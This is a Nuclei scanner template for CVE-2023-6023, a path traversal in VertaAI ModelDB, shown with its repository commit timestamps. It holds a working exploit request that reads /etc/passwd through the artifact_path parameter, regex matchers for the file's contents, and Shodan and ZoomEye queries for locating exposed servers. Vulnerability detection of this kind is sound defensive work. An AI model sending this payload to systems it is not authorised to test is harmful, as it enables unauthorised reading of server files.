nuclei-templates/http/cves/2023/CVE-2023-6023.yaml

54 lines
1.8 KiB
YAML
Raw Normal View History

2024-01-22 19:53:32 +00:00
id: CVE-2023-6023
info:
name: VertaAI ModelDB - Path Traversal
author: m0ck3d,cookiehanhoan
severity: high
description: |
The endpoint "/api/v1/artifact/getArtifact?artifact_path=" is vulnerable to path traversal. The main cause of this vulnerability is due to the lack of validation and sanitization of the artifact_path parameter.
impact: |
Attackers can potentially exploit this vulnerability to perform a relative path traversal attack, which can lead to unauthorized access to sensitive local files on the server. As an impact it is known to affect confidentiality.
remediation: Restrict access to the web application
reference:
- https://huntr.com/bounties/644ab868-db6d-4685-ab35-1a897632d2ca/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6023
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-6023
2024-01-23 04:17:33 +00:00
cwe-id: CWE-29,CWE-22
epss-score: 0.00087
epss-percentile: 0.35963
cpe: cpe:2.3:a:vertaai:modeldb:-:*:*:*:*:*:*:*
2024-01-22 19:53:32 +00:00
metadata:
verified: true
2024-01-23 04:17:33 +00:00
max-request: 1
vendor: vertaai
product: modeldb
2024-01-22 19:53:32 +00:00
shodan-query: http.favicon.hash:-2097033750
2024-01-23 04:17:33 +00:00
zoomeye-query: title:"Verta AI"
2024-01-22 19:53:32 +00:00
tags: cve,cve2023,lfi,modeldb
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/artifact/getArtifact?artifact_path=../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
2024-01-23 04:17:33 +00:00
- type: word
part: header
words:
- "application/octet-stream"
- "filename="
condition: and
2024-01-22 19:53:32 +00:00
- type: status
status:
2024-01-23 04:17:33 +00:00
- 200
# digest: 4a0a0047304502203e61c3d63029fbaea0c5dcdb0752dac2193d740a4f87f061759d522a273739f6022100d81a2a802b79f8feb8189dd75c297bc25e99c38e97e270f844c6f04e4d319509:922c64590222798bb761d5b6d8e72950